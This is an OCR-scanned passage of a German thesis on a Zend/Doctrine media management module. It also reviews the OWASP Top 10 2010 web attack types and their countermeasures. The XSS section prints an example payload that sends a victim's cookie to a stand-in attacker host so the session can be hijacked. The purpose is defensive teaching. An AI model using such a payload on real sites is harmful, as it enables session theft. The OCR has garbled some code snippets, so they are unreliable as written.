und dabei alle Vorteile der oben beschriebenen Doctrine Entitats Klassen nutzbar

werden.
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ey /END

# FRAMEWORK
Browser Request _ Parameters
3 : ' b doctrine

|
HTTP Resulting

Responce Data
Arrays

Resulting
Data
Arrays

Zend_View

Abbildung 12: Doctrine integriert in Zend Framework
3.3.2.3  Alternativen

Als Alternative zur Doctrine 6 kann man Propel® betrachten. Das ist auch eine
ORM Bibliothek. In diesen Teil werden die Vorteile und Nachteile beider
Systemen herausgearbeitet. Dabei werden die zurzeit aktuellsten Versionen von
Propel (1.6) und Doctrine (2.1) verglichen.

Propel wird im Allgemeinen als schneller eingestuft. Belegt wird das Ganze durch
einen Test siehe Anhang A der eindeutig den grofRen Vorteil von Propel
hervorhebt. Sowohl der Zugriff auf die Objekte als auch das Anlegen von Objekten
ist in etwa, in Abhangigkeit des Systems, zehnmal schneller als mit Doctrine.
Dieser Nachteil von Doctrine dirfte sich aber bei Nutzung von guten System-
Resourcen etwas verbessern. Das Protokoll zum Test kann im Anhang A
eingesehen werden. Ein Grund fir diesen Geschwindigkeitsnachteil ist, dass

Doctrine-Objekte sehr viel Speicher belegen. Das liegt daran, dass beispielsweise

% [Prop1.6] offizielle Web Seite.
1% Object Relational Mapping.
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die Verbindungen zu anderen Objekten mit im Speicher gehalten werden. Im
Vergleich zu den Propel-Objekten sind diese um vieles Grol3er.

Beide Systeme stellen die sogenannten CRUD Methoden zur Verfigung und
machen es damit leichter einzelne Datensatze zu handhaben. Doctrine verwendet
zur Speicherung der Objekte eine Art Helfer, den Entitymanger, der die
zugehdorigen Funktionen zur Verfugung stellt. In Propel wird dies uber
Proxyklassen implementiert, die im Laufe der Generierung der aus dem XML-
Schema der Datenbankstruktur erzeugt werden. Im folgendem Beispiel (Quelltext
4) kbnnen Sie ein kurzes Beispiel sehen wie diese Objekte erzeugt und

Gespeichert werden.

// Propel Objekt persistent Speichern
Suser = new User();

Suser->save () ;

// Doctrine Objekt persistent Speichern
Sem = Zend Registry->get (‘em‘);

Suser = new User();
Sem->persist (Suser) ;
Sem->flush () ;

Quelltext 4: Persistente Speicherung von Objekten mit Propel und Doctrine

Im oberen Abschnitt wurde beschrieben das Doctrine die Verweise auf andere
Objekte im Objekt selbst im Speicher halt. Im Vergleich dazu stellt Propel zwar
ahnliche Zugriffsfunktionen zur Verfigung, aber die Verweise werden erst nach
der Abfrage dieser, geladen. Doctrine stellt aber um Speichertberlastungen zu
Vermeiden, spezielle optionale Caching-Mechanismen bereit. Das Alles geht aber
auf Kosten von Programmier-Aufwand, da man sich schon bei der Erstellung der
Datenbankschemata genau Gedanken machen sollte, von wo Referenzen auf das
Objekt bendtigt werden. Bei einer einfachen Listenansicht eines Objektes ohne
seine Referenzen mit aufzuzeigen, reicht es aus wenn man in Doctrine
Resultatarrays ohne Referenzen der Objekte aus der Abfrage generiert oder man
schon Uber das Schema der Datenbank verhindert, dass alle Referenzen mit in
den Speicher geladen werden. Fir diesen Zweck bietet Doctrine die sogenannten
,Extra Lazy Collections® an die daflr sorgen, dass die Referenz erst geladen wird

wenn ein Zugriff darauf benotigt wird.

Folgende Mdéglichkeiten zur Performanceverbesserung bietet Doctrine an:

e Bytecode Cache
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Metadata and Query Caches

Alternative Query Result Formats
Read-Only Entities

Extra-Lazy Collections

e Temporarily change fetch mode in DQL

Weitere Informationen zu diesen Punkten siehe Dokumentation von Doctrine unter
[DoctlP]

Die folgende Auflistung zeigt kurz die Vorteile und Nachteile beider Systeme:

Doctrine
e Vorteile
o Bessere Unterstitzung diverser Problemfélle der ORM wie
Eventbasierte Anderungen in Tabellendatensatzen, Erweiterung
datenbankspezifischer Funktionen und Datentypen.
o Schnelle Zugriffsmoglichkeit auf Referenzen
o Bessere und Umfangreichere Abfragesprache DQL (Limit, Having)
¢ Nachteile
o Zu hohe Resourcenauslastung
o Fehlendes Mdglichkeit zum Reverse-Engineering (ist aber der Beta

bereits eingebaut)

Propel:
e Vorteile
o Schneller Zugriff
o Madglichkeit zum Reverse-Engineering aus der Datenbank
o Automatische Generierung der Proxyklassen und Objekte
e Nachteile
o Referenzzugriff bendtigt Zugriff auf die Datenbank. Hohe
Verbindungsbelastung!
o Mangelnde Moglichkeiten zur Erweiterung datenbankspezifischer
Besonderheiten.

Letztlich viel hier eine Entscheidung, welches System verwendet werden sollte,
sehr schwer. Da man aber auf bestimmte datenbankspezifische Besonderheiten

wie Datums und Zeitfunktionen nicht verzichten wollte, hat man sich letztlich fur
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Doctrine entschieden. Dennoch sollte man aber auf die Performance die Propel zu
bieten hat, achten. Denn gerade hier konnen sicher Views und Ubersichten
entstehen die die Grenzen von Doctrine sprengen konnten. Aber Doctrine bietet
auch dafur Hilfen, die wenn sie an der richtigen Stelle einsetzt, bei diesen

Problemen weiterhelfen.

Ein weiteres Teilproblem, dass neben der allgemeinen Datenspeicherung zu l6sen
gilt, ist die Speicherung und Generierung der Bilder in der Mediendatenbank. Dies
wurde mit Hilfe von ImageMagick realisiert und wird im folgenden Abschnitt

beschrieben.
3.3.3 ImageMagick

ImageMagick™ ist eine Software, die fiir Bildermanipulationen entwickelt wurde.
Fur einen Web Entwickler ist es ein sehr wichtiges Werkzeug, da man damit Bilder
in ein bestimmtes Format konvertieren kann. Genau diese Funktionalitat wurde
hier benoétigt um Thumbnails und kleinere Versionen der Bilder automatisch zu
generieren. Neben diesen Mdglichkeiten bietet es auch viele andere Funktionen
zur Bildmanipulation an. Weitere vorteilhafte Eigenschaften von ImageMagick sind
die einfache Syntax, dass es fur mehrere Sprachen geeignet ist und es sowohl
unter Unix als auch unter Windows-Betriebssystemen zur Verfligung steht.

AuBerdem hat man eine gute Dokumentation’> mit mehreren

Anwendungsbeispielen dazu.

11 [Imagick1].
12 [Imagick?2].
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4, Implementierung des Medienverwaltungsmoduls

4.1 Vorbemerkungen

Ausgehend vom Kapitel 3, in dem die Modellierung des Medienverwaltungsmoduls
beschrieben wurde, wird in diesem Kapitel auf die Implementierungsphase
eingegangen. Die Entwicklung des Moduls erfolgte mit dem NetBeans IDE unter
Ubuntu 64-Bit. Netbeans stellt Gber Plugins eine Umgebung zur Entwicklung von
PHP-Applikationen zur Verfiigung und unterstiitzt auch die Tools von Zend. Die
Integration von Versionsverwaltungssystemen wie CVS ist natlrlich heute

Standard und wird auch von Netbeans unterstitzt.
4.2 Modulstruktur

421 Strukturtbersicht der Anwendung

Die Struktur ist, dadurch dass hier das Zend-Framework verwendet wurde, in den
Grundzigen vorgegeben. In der Abbildung 13, wird die Ablagestruktur der
Quelltexte in Zend gezeigt. Die Ordner: ,models“, ,views“ und ,controllers®
innerhalb  des Ordners ,application, sind die Basisablage fur die
Datenbankmodelle, Views und Controller geméaf des MVC Modells.

Wichtig zu erwahnen sind hier noch die Ordner ,public* und ,library“. Der Ordner
,public“ enthalt alles das, was o6ffentlich Zuganglich zum Webserver liegen soll,
wie Grafiken, Script-Dateien und Style-Dateien. Die zentrale ,index.php® ist
naturlich auch enthalten. Die restlichen Daten werden im Zend-Framework

aulRerhalb des 6ffentlich Ordners, im Normalfall unter Apache ,htdocs*, aufbewart.

Im Ordner ,library“ werden alle optional verwendeten Module abgelegt. Hier im
Beispiel Doctrine, die Zend Klassen und Erweiterungen sowie eine selbst erstellte

Erweiterung mit speziellen Hilfsklassen: ,Pitcom®.
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Abbildung 13: Zend Quelltextstruktur

Ein weiterer wichtiger Teil in der Anwendung war die Organisation der
Bilderspeicherung. Méglichkeiten gibt es genug, doch welche letztlich geeignet ist,

wird in Abhéngigkeit der Anforderungen im néachsten Kapitel gezeigt.
4.2.2 Organisation der Bildspeicherung

Grundlegend wurden die Bilder der Veranstaltungsdatenbank in 2 verschiedenen
Formen bendétigt. Dazu gehdren die VorschaugroRe die der Anzeige in
Listenansichten dient und die Grol3e zur Anzeige im Frontend der Anwendung mit
einer GroBe von 800 * 600. In Abhangigkeit dieser Anforderung an die
Bildspeicherung gibt es zwei grundlegende Mdglichkeiten auf einer Einheit
(Server) Bilder bzw. Medien abzuspeichern. Entweder speichert man alle Bilder in
der Datenbank zugeordnet zu den Metadaten des Bildes oder es werden alle oder
Teile davon direkt im Dateisystem abgespeichert.
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Die Abspeicherung im Dateisystem hat den Vorteil, dass man zur Anzeige nicht
die Bilder aus der Datenbank generieren muss. Im Gegensatz dazu, muss man
sich aber flir eine sauberes Entfernen der Bilder im Dateisystem kimmern was
man bei einer Datenbankspeicherung nicht bendtigt da alle zugehérigen Bilder

durch das I6schen des Datensatzes mit geldscht werden.

Letztlich viel die Entscheidung auf eine Kombination aus Beidem. Das
Vorschaubild wird direkt in der Datenbank gespeichert, das gréf3enveranderte

Original im Dateisystem um standige Generierungen des Bildes zu vermeiden.
Folgende Schritte wurden bei der Datenspeicherung vorgenommen:

1. Das Bild wird durch Formular hochgeladen und temporar in Linux

Dateisystem gespeichert unter /temp.

2. Im 2zweiten Schritt wird dieses temporare Image in ein Thumbnail

konvertiert und in der Datenbank gespeichert.

3. In folgenden Schritt wird aus der originalen Datei die entsprechende Bild
zur Anzeige in der Veranstaltungsdatenbank generiert. In Abhangigkeit der
Proportionen des Bildes wird es entweder auf eine Breite von 800 Pixeln
oder Hohe von 600 Pixeln verkleinert. Gespeichert wird es dabei unter dem
Namen der ,Id“ die beim Anlegen in der Datenbank verwendet wird. Die
Dateiendung bleibt dabei so wie sie war. Damit bekommt es einen

eindeutigen Alias zu Anzeige in der Veranstaltungsdatenbank.

Der Update eines Bildes verhalt sich ahnlich zur Neuanlage nur das hier das
vorhandene Bild einfach tberschrieben wird.

Ein Punkt der schon immer sehr wichtig ist wenn man eine Webanwendung
erstellt, ist der Fokus auf die Sicherheit gegeniiber einem Fremdzugriff. Hier in der
Anwendung werden personenbezogene Daten gespeichert die es unabdingbar
machen flr einen ausreichenden Schutz zu sorgen. In den aktuellen Medien hort
man immer wieder, dass aufgrund von Sicherheitslicken Zugriff auf wichtige
Daten moglich waren oder diese auch gestohlen wurden. Doch wie beugt man

Fremdzugriffen und Manipulationen auf das System vor?
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5. Sicherheitsmal3inamen in Web Anwendungen

5.1 Allgemeine Vorgehensweise

Mit der Entwicklung im Web Bereich steigt die Gefahr, dass die Benutzer der
Anwendung ihre personlichen Daten verlieren kdnnen, da die Anwendung im
Normalfall 6ffentlich zuganglich ist. Dazu gehdren die existierenden Bilder oder die
Kontodaten bzw. persénlichen Daten des Benutzers. Der Datendiebstahl kann
durch Verschiedene Scenario verlaufen, abhangig von den hier dargestellten
Angriffsarten. Um sicher zu sein das lhre Web Anwendung gegen diese Angriffe
geschutzt ist, soll man fur jeden dieser Angriffsarten die entsprechenden
Sicherheitsvorkehrungen in der Anwendung treffen.

Den erfahrenen Softwareentwicklern sind diese Angriffsarten schon bekannt. Aber
wie identifiziert man die Wege die zum Datendiebstahl fihren kénnen, wenn man
sich neu im Bereich der die Webentwicklung betatigt? Welche Vorgehensweil3en

sollte man wéahlen?

Fur solche Zwecke existieren im Web Bereich Organisationen die verschiedenen
Forschungen nachgehen um die neusten Arten von Angriffe zu identifizieren. Eine
von solchen Organisationen ist die OWASP™. Ein gréRer Vorteile dieser
Organisation ist, dass sich viele gro3ere Firmen an lhr beteiligen, mit dem
Interesse ihr Wissen um solche Angriffsarten mit anderen zu teilen. Die
Informationen zur Angriffsarten werden immer aktuellen Stand gehalten und man
hat damit Ansatzpunkte wie man eine sichere Web Anwendung entwickelt. Das
Handbuch wird Zeitnah aktualisiert. Weiterhin hat man din sogenannten Cheat
Sheets(Spickzettel), der die Vorgehensweise bei der Entwicklung einer Software
abhangig von Angriffsart beschreibt. In folgenden Abschnitt werden zurzeit

aktuellen Angriffsarten gelistet und wirksame MalRnahmen zum Schutz erlautert.

13 Open Web Application Security Project [OWASP].
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5.2 Angriffsarten

Folgende Abbildung zeigt eine Tabelle aus einem Abschlussbericht** von Dave
Wichers, einem COO(Chief Operations Officer) von Aspect Sequrity™, iiber die
Top 10 Angriffsarten des Jahres 2010. Die Bewertung von Angriffsarten wird alle
drei Jahre veroffentlicht mit einem Vergleich der Angriffsartenstatistik der letzten

Veroffentlichung, die aber durch wichtigere Angriffe ersetzt wurden.

Mapping from 2007 to 2010 Top 10

A2 — Injection Flaws T Al - Injection

Al — Cross Site Scripting (XSS) l A2 — Cross Site Scripting (XSS)

A7 — Broken Authentication and Session Management T A3 — Broken Authentication and Session Management

A4 — Insecure Direct Object Reference = A4 - Insecure Direct Object References

A5 — Cross Site Request Forgery (CSRF) = A5 — Cross Site Request Forgery (CSRF)

— TINZN0IA10 Muswire Configuration + A6 — Security Misconfiguration (NEW)

A8 — Insecure Cryptographic Storage T A7 — Insecure Cryptographic Storage

A10 - Failure to Restrict URL Access T A8 — Failure to Restrict URL Access

A9 — Insecure Communications = A9 — Insufficient Transport Layer Protection
<notinT10 2007> < A10 - Unvalidated Redirects and Forwards (NEW)
A3 — Malicious File Execution ~. <dropped from T10 2010>

A6 — Information Leakage and Improper ErrorHandling . <dropped from T10 2010>

owasp - 2010 @)

Abbildung 14: Vergleich von OWASP Top 10 fir 2007 und 2010

In folgenden Abschnitten werden die verschiedene Schwachstellen, und damit

auch die Angriffsarten klassifiziert.
5.2.1 Injection

Der Begriff Injektion steht hier nicht fur bekannte SQL Injektion, sondern fur die

allgemeine Bedeutung dieses Wortes. In diesem Abschnitt wird die Bedeutung

14 Sehe [Wich10]
15 Sehe www.aspectsequrity.com
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dieses Begriffes erlautert und unter anderem werden die gegenwirkenden

MalRnahmen fur SQL Injektion beschrieben.

Unter Injektion versteht man einen Betrug der Web Anwendung durch einen
Einschluss unbeaufsichtigter Befehle die auf Interpreter geschickt werden. Als
Interpreter kann dabei Beispielsweise, SQL, eine Kommandozeile das
Betriebssystem, LDAP, XPath, Hibernate usw. dienen.

Dabei ist aber die SQL Injektion sehr verbreitet, obwohl die Gegenmalihahmen
sehr bekannt sind. Es kann fir uns als Grund dienen um die tieferen Kenntnisse
Uber SQL Injektion zu erértern. Die Sicherheitsmalinahmen kann man auf zwei

Kategorien verteilen: Haupt und Zusatzliche.
HauptsicherheitsmalBnahmen:

e Benutzung gebundener Parameter in Prepared Statements.

Hier werden die alle Daten als Parameter an einen bereits ,kompilierten® SQL-
Befehl Ubergeben. Die Gbergebenen Daten werden nicht interpretiert und kénnen
keine SQL-Injection verursachen. Parametrisierte Abfragen zwingen den
Entwickler, zuerst den ganzen SQL-Code zu definieren, und dann jedem
Parameter zur Abfrage spéter hinzuzufiigen. Aul3erdem stellen sie sicher, dass ein
Angreifer nicht im Stande ist, den Zweck einer Abfrage zu andern, selbst wenn

SQL Befehle von einem Angreifer eingefuigt werden.

In verschiedene Programmiersprachen gibt es bestimmte Werkzeuge um diese
vorbereiteten Anweisungen (Prepared Statements) zur Verfigung zu stellen. In
PHP, bietet eine solche Mdglichkeit das oben genannte PDO mit Unterstitzung
von zwei Arten der vorbereitete Anweisungen: positionelle (Benutzung der
Fragezeichen) oder benannte Platzhalter (:paraml, :foo, :bar). Im folgenden
Quelltextbeispiel wird die Benutzung dieser Platzhalter in DQL gezeigt:

<?php
// Die vorbereitete Anweisung in DQL: positionelle
$dgl = "SELECT u FROM User u WHERE u.username = ?1";

Squery = Sem->createQuery ($dql) ;
Squery->setParameter (1, $ GET['username'l]);
Sdata = Squery->getResult () ;

// vorbereitete Anweisung in DQL: Genannte

Sdgl = "SELECT u FROM User u WHERE u.username = :name";
Squery = Sem->createQuery ($dql) ;
Squery->setParameter ("name", $ GET['username']);
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Sdata = Squery->getResult () ; H

Quelltext 5: Vorgebereitete Anweisungen in DQL

Die Verwendung der vorbereiteten Anweisungen wurde bei der Entwicklung des
Medienverwaltungsmoduls angewendet.

e Gespeicherte Prozeduren:

,Mittels gespeicherter Prozeduren konnen haufiger verwendete Ablaufe, die sonst
durch viele einzelne Befehle vom Client ausgefuhrt werden wirden, auf
das Datenbanksystem ausgelagert und durch einen einzigen Aufruf
(CALL oder EXECUTE) ausgefuhrt werden. Mitunter wird dadurch die Leistung
gesteigert, da weniger Daten zwischen Client und Datenbanksystem ausgetauscht

werden missen.

Neben der gewohnlichen Syntax der Abfragesprache (meist SQL) kénnen in
gespeicherten Prozeduren auch zusatzliche Befehle zur Ablaufsteuerung und/oder
Auswertung von Bedingungen hinzugefigt werden. Damit konnen sie mit
Makrosprachen bestimmter Anwendungsprogramme verglichen werden. Oft wird
das verwendete SQL um herstellerspezifische Funktionen erweitert.“*

e Alle Benutzereingaben markieren (Escaping):

Jedes DBMS unterstitzt eine oder mehrere Moglichkeiten, Eingaben uber
Symbole als direkten Wert zu Ubergeben, ohne das diese als SQL-Befehle
interpretiert werden. Jedoch ist diese Methodik im Vergleich zur Verwenden von
parametrisierten Abfragen aus Performancegrinden nicht zu Empfehlen. Diese
Technik sollte nur verwendet werden um alten Quellkode relativ Kostenglnstig

umzuristen.
Zuséatzliche SicherheitsmalRnahmen:

e White List — Validierung einer Eingabe:

Es wird immer empfohlen, Angriffe so bald wie mdglich bei der Verarbeitung der
Anfrage des Benutzers (des Angreifers) zu verhindern. Die ,White List“ Validierung
kann verwendet werden, um die unerlaubten Eingabe der Daten zu entdecken,
bevor es durch die Anwendung bearbeitet wird. Entwickler fihren oft Black List

Validierung durch, bei der versucht wird in den Eingabedaten Muster wie das ,,

16 Sehe [WickiGP]
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Zeichen, die Zeichenfolge 1=1 oder der <skript> Tag zu entdecken. Aber das ist
eine sehr oberflachliche Herangehensweise, weil es fir einen Angreifer
normalerweise trivial ist, zu vermeiden, durch solche Filter gefangen zu werden.

Ausserdem verhindern solche Filter oft Autorisierung wie ,,0'Conner®, wenn das ,,

Zeichen herausgefiltert wird.

Die White List Validierung enthélt in sich alle Definition die autorisiert sind. Falls
etwas anderes gefunden wird, wird es automatisch als ,nicht autorisiert” markiert.
Wenn es gut strukturierte Daten, wie Datum, Sozialversicherungsnummern,
Postleitzahlen, E-Mail-Adressen usw. sind, dann sollte der Entwickler im Stande
sein, ein sehr starkes Validierungsentwurfsmuster zu definieren, das auf regularen
Ausdricken basiert, um solchen Eingabe gultig zu machen. Wenn das
Eingabefeld aus einem festen Satz von Optionen kommt, wie ein ,dropdown® Liste
oder eine Radiobutton, dann muss der Eingabe genau einen der Werte
entsprechen, die dem Benutzer zuerst angeboten wird. Die schwierigsten Felder
die es zu validieren gilt, sind so genannter ,freie Text Felder wie zum Beispiel,
Blog Eintrage. Jedoch kdnnen sogar diese Typen von Feldern zu einem gewissen
Grad validiert werden. Es koénnen mindestens alle Steuerzeichen’

ausgeschlossen und eine maximale Grof3e fiur das Eingabefeld definieren werden.

In Medienverwaltungsdatenbank sind die Validierungsfunktionen durch Standard

Validatoren des Zend Framework realisiert.
5.2.2 Seitenubergreifendes Scripting (Cross Site Scripting - XSS)

Es muss sichergestellt werden, dass die an den Browser zurtick gelieferten Daten
die vom Benutzer eingaben wurden gepruft werden (Uber die Eingabe
Validationen) und die von Benutzer eingegebene Daten richtig markiert werden
bevor sie auf die Web Seite ausgegeben werden. Die korrekte Verschlisselung
der gelieferten Daten stellt sicher, dass solche Eingabe immer als Text im
Browser, aber nicht als aktiver Inhalt behandelt wird, der ausgefuhrt werden

kdnnte.

Sowohl statische als auch dynamische Werkzeuge kdnnen einige XSS Probleme

automatisch finden. Jedoch baut jede Anwendung die auszugebende Seite

17Sehe [WickiSZ]
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verschieden auf und verwendet verschiedene Browser seitige Interpreter wie
JavaScript, ActiveX, Blitz, und Silverlight, die eine automatisierte Entdeckung
solcher Scripte schwierig macht. Deshalb setzt die komplette Abdeckung, eine
Kombination aus manuellen Coderezension und manuellen Penetrationstests

voraus, zusatzlich zu jeglichen automatisierten Methoden.

Web 2.0 Technologien, wie AJAX, macht es viel schwieriger, XSS Uber

automatisierte Werkzeuge zu entdecken.
Verhinderung der XSS Attacken.

Das Verhindern der XSS wird durch Trennung unvertrauter Daten vom aktiven
Browser-Inhalt erreicht.

e Der bevorzugte Weg ist, alle unvertrauten im HTML-Zusammenhang
basierten Daten zu ,Escapen® (Markieren). Das heil3t das die Daten bevor
Sie ausgegeben werden mit speziellen Sonderzeichen versehen die den
Code dann zwar fir den Benutzer Lesbar aber das ausfiihren von Scripten
verhindern. Entwickler missen dieses ,Markierungen® in ihre Anwendungen
integrieren es sei denn, dass ihr Framework oder die Benutzerschnittstelle
das fur sie tut. In Zend konnte dies mit entsprechenden Filtern gemacht
werden.

e Weiter wird Positiv oder "Whitelist" Eingangsdatenvalidierung empfohlen. Sie
hilft, gegen XSS zu schiitzen, aber es bringt noch keinen kompletten Schutz,
da so viele Anwendungen gibt, die auch spezielle fir XSS-Attacken bendtigte
Symbole akzeptieren muissen. Solche Validierung sollten jegliche
verschliisselte Eingabedaten decodieren, und dann die Lange der Symbole
validieren. Danach die eingegebenen Daten dazu passend formatieren,

bevor die Daten ausgegeben werden.
Eine Beispiel Szenario:

In folgendem Quellcode wird die Benutzung eines nicht validierten und nicht
markierten Snippet im HTML Code gezeigt.

(String) page += "(input name='creditcard' type='TEXT' value='" +
request.getParameter ("CC") + "')";

Quelltext 6: XSS Snipped HTML-Code

Eine attackierende Person verandert den “CC" Parameter im Browser auf:
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'<script>document.location= 'http://www.attacker.com/cgi-
bin/cookie.cgi?foo="+document.cookie</script>"

Quelltext 7: XSS manipulierter HTML-Code

Das fuhrt dazu, dass die Session ID des Benutzers an die Web Seite der
attackierenden Person weitergeleitet wird, und erlaubt die Session des Benutzers

zu rauben.

5.2.3 Gebrochene Authentifizierung und Sitzungsmanagement

Die Anwendungsfunktionen die eine Authentifizierung oder Management der
Sitzung betreffen, sind oft falsch implementiert. Dadurch erlauben sie der
attackierenden Personen die Passworter, Schlissel und Sitzungsschlissel zu
entschliisseln oder nutzen andere Implementierungsfehler aus, um die Identitat

anderer Benutzer abzufangen.

Laut OWASP sollen folgende MalRhahmen durchgefiihrt werden um sich dagegen

zu schitzen:
Architektur nachprifen

¢ Die Authentifizierung soll einfach, zentralisiert und standardisiert sein.
e Man soll sicher sein das wie Daten und auch Sitzungs-ID immer SSL

geschutzt ist.
Implementierung nachprifen

e Der SSL Zertifikat soll immer Aktuell sein.

e Die Funktionen die Verbindung zur Authentifizierung haben, sollten gepruft
werden.

e Nachprifen ob Ausloggen die Sitzung abbricht.

e Die Anwendungs-Authentifizierung sollte von geeigneten Werkzeugen

getestet werden, zum Beispiel WebScarab von OWASP.

Bei der aktuellen Anwendung wird die Authentifizierung und Sitzungsmanagement

durch dafir geeignete Zend Klassen realisiert. Es gibt ein zentrales Login und
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Logout sowie vordefinierte maximal Sitzungsdauern. Die Sitzungsdaten werden

verschlusselt gespeichert.

5.2.4 Unsichere direkte Objekt Verweise

Was versteht man darunter? Man kann die Daten oder in Fall der

Medienverwaltung die Bilder von anderen Benutzern editieren.

Als gegenwirkende Maflinahmen kann man dabei folgendes betrachten:
e Direkten Objekt Referenzen durch temporar abgebildete Id’s ersetzen(1, 2,
3...) vermeiden.
o Direkte Objektreferenzen sollen Validiert werden:
o Auf korrekte Formatierung;
o Ob es erlaubt ist den Benutzer auf die Daten zuzugreifen;

o Das Recht der Anfrage Uberprifen(schreibe, lese oder |6sch);

In Implementierten Anwendung wird dieses Punkt durch Zend_ACL Klasse
realisiert. Die Bild-Objekte implementieren ein Interface das es ermdoglicht
Zend_Acl diese Objekte als Resource zu identifizieren auf die eine ensprechende
Berechtigungsprifung tber die Rolle oder dem Benutzer ausgefihrt werden kann.
Die Implementierung der Interfacefunktionen realisiert die Besitzerprifung des

Objektes mit der der Zugriff auf das Objekt Uberprift werden kann.
5.2.5 Seiten uUbergreifende Aufruf Manipulation

CSREF ist ein Angriff, der einen Endbenutzer zwingt, unerwiinschte Handlungen
auf einer Webanwendung durchzufuhren, wahrend der er/sie authentifiziert ist. Mit
ein wenig Hilfe (wie das Senden einer Link Uber die E-Mail/Chat) kann ein
Angreifer die Benutzer einer Webanwendung zwingen, die vom Angreifer
ausgewahlten Aktionen durchzufiihren. Eine erfolgreiche CSRF-Attacke kann
Endbenutzer-Daten kompromittieren. Wenn der Zielbenutzer ein Administrator ist,

kann das die komplette die Webanwendung in Gefahr bringen.

Die Verhinderung des CSRF uber Synchronisierte Tokens:
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Synchronisierte Token wird flr die Benutzer Sitzung gesetzt und wird mit jeder fur
den Client ausgelieferten Form hinzugefugt. Wenn die Formulardaten abgeschickt
werden, wird das Token aus Form mit dem Token aus Sitzung vergleichen. Diese
Token sollten zueinander passen. Falls die Tokens nicht gleich sind wird das
Abschicken der Formdaten verboten und der Benutzer bekommt eine

Fehlermeldung.

Anderseits, wenn die Tokens zu einander passen, kann man sicher sein das die
Sitzung sicher ist. In dem Fall wird in der Sitzung gespeicherte Token durch den

anderen ersetzt und die Formdaten werden akzeptiert.
5.2.6 Falsche Sicherheitskonfiguration

Webanwendungen sollten auf einem aktuellen und sicheren Grundsystem laufen.
Es bedeutet das alles, angefangen vom Betriebssystem bis zu den Bibliotheken

sollte alles aktuell gehalten werden.

Systemkonfigurationsmanagements Uberprifen
e Die sichere Konfiguration macht die Leitlinie kompliziert
o Dafur ist die Automatisierung sehr nitzlich hier
e Die gesamte Plattform und Anwendung soll abgedeckt werden
e Alle Patches fur Komponenten sollten aktuell gehalten werden
o Dahinter liegen alle Bibliotheken der Anwendung und nicht nur
Betriebssystem und Server Anwendung
¢ Der Sicherheitseffekt nach der Aktualisierung soll analysiert werden
e Berichtsfunktionen sollten in die Anwendungskonfiguration eingebaut
werden

e Wenn man die Funktion nicht Gberprifen kann, dann ist es unsicher.

Implementierungen Uberprifen
5.2.7 Unsichere Kryptographische Speicherung

Das typische Scenario:
¢ Angreifer rufen oder modifizieren vertrauliche oder personliche Informationen
ab wie z.B., Kreditkartennummer, medizinische Daten oder Finanzielle

Informationen
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Angreifer gewinnen zuséatzliche geheime Informationen um die anderen Arten

der Angriffe auszufihren.

e Dies fuhrt zur Verlegenheit der Firma, Unzufriedenheit der Kunden und das
Vertrauen geht verloren.

e Die Behebung der Fehler ist mit hohen Kosten verbunden und die Folgen
wie geschaftlicher Natur sind meist schwer.

e Geschaft kann verklagt und/oder bestrafft werden.
Gegenwirkende MalRnahmen:

e Architektur Uberprifen:
o Empfindliche Daten identifizieren
o Alle Bereiche identifizieren wo Daten gespeichert werden
o Testen sie Beispiel Konten auf mogliche Bedrohungen
o Verwendung einer Verschlisselung, um Bedrohungen
entgegenzuwirken
e Benutzung passender Mechanismen:
o Dateiverschlusselung, Datenbankverschliisselung, Datenelement-
Verschlisselung;
o Korrekte Benutzung der Mechanismen:
o Benutzung standardisierter starker Algorithmen
o Richtige Generierung, Verteilung und Speicherung der Schlussel
e Uberpriifung der Implementierung:
o Prifen ob starke Algorithmen benutzt werrde, und ob es ein
geeigneter Algorithmus fir den Anwendungsfall ist
o Prufung ob alle Schlisseln, Zertifikaten, Passworter passend
gespeichert und gesichert worden sind
o Prufung ob eine sichere Schlusselverteilung und effektiver
Schliusselaustauschplan  vorhanden ist und Analyse eines

Verschlisselungscodes fur allgemeine Fehler
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5.2.8 Misserfolg bei URL Adressen Einschrankungen
Allgemeine Fehler:

e Anzeige nicht autorisierten Links und Meni Punkte

e Angreifer falscht einen Zugriff auf nicht autorisierten Seiten.
Folgen:

e Vom Angreifer kénnen Funktionen und Dienste aufgerufen werden die
Verboten sind;
e Zugriff auf die Benutzerkonten und personliche Daten anderer Benutzer

e Privilegierte Aktionen werden durch Angreifer durchgefuhrt
Gegenwirkende MalRnahmen:

Fur jede URL Adresse soll die Web Seite folgende 3 Sachen ausfihren:
e Fur die authentifizierte Benutzer sollte der Zugriff beschrankt werden (Falls
nicht ,public” ist).
e Machen Sie alle Rollenbasierte Rechte(Falls es nicht ,private” ist) gultig.
e Verbieten Sie alle Anfragen auf die nicht autorisierte Seiten und Daten wie,

Konfigurationsdateien, Logdateien, Quelldaten usw.
Architektur Uberprufung:
e Benutzung einfacher Modell auf jeder Anwendungsschicht.
Implementierungstberprifung:

¢ Keine automatisierte Analyse vergessen.
e Uberprifen ob Jede URL auf die Seite gesichert ist, wie durch:
o Externe Filter wie Java EE web.xml oder durch kommerzielle
Produkte
o oder durch interne Uberprifungen im Quellkode.
e Uberprifen ob die Serverkonfigurationen den Zugriff auf nicht autorisierten

Seiten erlauben.
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e Benutzung des Webscrabs oder Browsers um die nicht autorisierten

Abfragen zu verbieten.
5.2.9 Ungenugender Transportschichtschutz

Schitzen Sie mit passenden Mechanismen.

e Verwenden Sie TLS Verschlisselung auf alle Verbindungen mit
empfindlichen Daten;
e Verschlisseln Sie die Nachrichten individuell vor der Ubertragung
o Z.B, XML-Verschlisselung
e Unterschreiben Sie die Nachrichten vor der Ubertragung
o Z.B, XML-Unterschrift
Verwenden Sie die Mechanismen richtig
e Verwenden Sie starke Standardalgorithmen (deaktivieren Sie alte SSL
Algorithmen);
e Flhren Sie Schlussel/Zertifikate richtig;

e Prufen Sie SSL Zertifikate vor dem Verwenden;

5.2.10 Nicht validierte Adressierungen und Weiterleitungen

Das Opfer wird zu phishing oder malware Seite adressiert:

e Die Anfrage des Angreifers wird an Sicherheitskontrollen vorbei geschickt,

wobei unerlaubte Funktion oder Datenzugang erlaubt wird.
Gegenwirkende MalRnahmen:

Es gibt mehrere Wege um das zu erreichen:
e Die Verwendung von nicht validierten Adressierungen und Weiterleitungen
sollten mdglichst vermieden werden
e Wenn diese benutzt werden, involvieren Sie nicht die Benutzerparameter in
die Definition der Ziel-URL-Adresse;
e Wenn die Benutzerparameter doch involviert werden sollen, dann
o validieren sie jedes Parameter um sicher zu sein dass fur den
aktuelle Benutzer autorisiert ist

oder
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o (bevorzugt) benutzen Sie Server Seitige Abbildungen der Daten um
die von aktueller Seite gestellte Auswahl an Benutzer zu tbersetzen.
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0. Diskussion

6.1 Zielerfullung

